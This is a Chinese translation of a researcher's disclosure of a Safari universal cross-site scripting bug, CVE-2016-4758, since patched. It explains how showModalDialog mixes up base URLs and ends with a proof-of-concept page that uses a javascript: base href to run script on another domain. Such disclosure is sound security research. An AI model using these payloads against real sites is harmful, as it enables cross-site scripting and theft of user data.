本文翻译自: * http://mksben.l0.cm/2016/09/safari-uxss-showModalDialog.html (英文版) * http://masatokinugawa.l0.cm/2016/09/safari-uxss-showModalDialog.html (日文版) 原作者:**Masato Kinugawa** 译者:**Holic (知道创宇404安全实验室)** 译者注:截止翻译日期,日文版又更新了一些内容,本文基于英文版原文翻译,部分增加的内容翻自日文原版。 本篇文章分享了Safari UXSS漏洞(CVE-2016-4758)的有关细节,该漏洞在Safari 10 被修复。 官方链接:https://support.apple.com/en-us/HT207157 > WebKit Available for: OS X Yosemite v10.10.5, OS X El Capitan v10.11.6, and macOS Sierra 10.12 Impact: Visiting a maliciously crafted website may leak sensitive data Description: A permissions issue existed in the handling of the location variable. This was addressed though additional ownership checks. CVE-2016-4758: Masato Kinugawa of Cure53 漏洞条件供参考,移动版Safari不受漏洞影响,因为没有`showModalDialog`方法。IE的showModalDialog可能使用了XSS保护机制,相关的内容可以参考以下链接: http://masatokinugawa.l0.cm/2015/06/xss6.html 原作者注: >顺便说一句,在整理博客周边行为的时候,注意到了更严重的问题,下面开始写的便是这个”严重问题“ ### 漏洞利用条件 在利用此漏洞进行攻击之前,有两个前提条件: 1. 目标页面使用JavaScript导向至相对URL。(比如`location="/"`,...
本文翻译自: * http://mksben.l0.cm/2016/09/safari-uxss-showModalDialog.html (英文版) * http://masatokinugawa.l0.cm/2016/09/safari-uxss-showModalDialog.html (日文版) 原作者:**Masato Kinugawa** 译者:**Holic (知道创宇404安全实验室)** 译者注:截止翻译日期,日文版又更新了一些内容,本文基于英文版原文翻译,部分增加的内容翻自日文原版。 本篇文章分享了Safari UXSS漏洞(CVE-2016-4758)的有关细节,该漏洞在Safari 10 被修复。 官方链接:https://support.apple.com/en-us/HT207157 > WebKit Available for: OS X Yosemite v10.10.5, OS X El Capitan v10.11.6, and macOS Sierra 10.12 Impact: Visiting a maliciously crafted website may leak sensitive data Description: A permissions issue existed in the handling of the location variable. This was addressed though additional ownership checks. CVE-2016-4758: Masato Kinugawa of Cure53 漏洞条件供参考,移动版Safari不受漏洞影响,因为没有`showModalDialog`方法。IE的showModalDialog可能使用了XSS保护机制,相关的内容可以参考以下链接: http://masatokinugawa.l0.cm/2015/06/xss6.html 原作者注: >顺便说一句,在整理博客周边行为的时候,注意到了更严重的问题,下面开始写的便是这个”严重问题“ ### 漏洞利用条件 在利用此漏洞进行攻击之前,有两个前提条件: 1. 目标页面使用JavaScript导向至相对URL。(比如`location="/"`, `window.open("/","_blank")`) 2. 跳转在页面加载之后进行 原作者搭建了一个测试页面: https://vulnerabledoma.in/safari\_uxss\_showModalDialog/target.html ```javascript <script> function go_top(){ location="/index.html"; } </script> <button onclick=go_top()>Top Page</button> ``` 这个页面就是为了在用户点击"Top Page"的时候跳转到 https://vulnerabledoma.in/index.html 。 我认为像这样的页面到处都是,而在这种情况下我们可以利用这个BUG展开XSS攻击。 ### 漏洞详情 现在使用`showModalDialog`方法。下述页面只在modal dialog(模式窗口)中打开。 https://l0.cm/safari\_uxss\_showModalDialog/example.html ```javascript <script> function go(){ showModalDialog("https://vulnerabledoma.in/safari_uxss_showModalDialog/target.html"); } </script> <button onclick=go()>go</button> ``` 点击”Top Page“按钮后再modal dialog中会发生什么呢?无需多言,将会访问 https://vulnerabledoma.in/index.html 。 然而在Safari中却不相同。Safari出乎意料地跳转到了 https://l0.cm/index.html 页面去。很明显Safari搞混了父窗口和modal窗口的基地址。 这时,在相对URL包含私密信息的情况下,可以使用无关页面获得私密信息。 ```javascript <script> function navigation(){ location="/test?token=abb29ad9adda09";//获得的私密信息 } </script> <button onclick=navigation()>Click</button> ``` 这是十分危险的行为,这里还可以进一步开展XSS攻击。 (边注:此行为仅存在于JavaScript navigation API中,例如`<a>`标签和`xhr.open("GET",[URL])` 使用正确的URL。) ### 扩展 XSS 攻击 根据 [html5sec.org#42](https://html5sec.org/#42), Safari 允许将`javascript:` URL设置为base tag。 因此,如果将`javascript`标签设置为父页面的base tag的话,将会导致XSS漏洞。 我的猜想得到了证实。下面是最终PoC: https://l0.cm/safari\_uxss_showModalDialog/ ```javascript <!DOCTYPE html> <html> <head> <base href="javascript://%0Aalert%28document.domain%29%2F/"> </head> <body> <script> function go(){ showModalDialog("http://vulnerabledoma.in/safari_uxss_showModalDialog/target.html"); } </script> <button onclick=go()>go</button> </body> </html> ``` 正常情况的话,点击"Top Page"按钮时,你将会看到alert会话窗口如下:  Yay! ### 总结 原作者于2015年六月15日报告此漏洞,在此之前这个bug已经在WebKit中存在一年多了。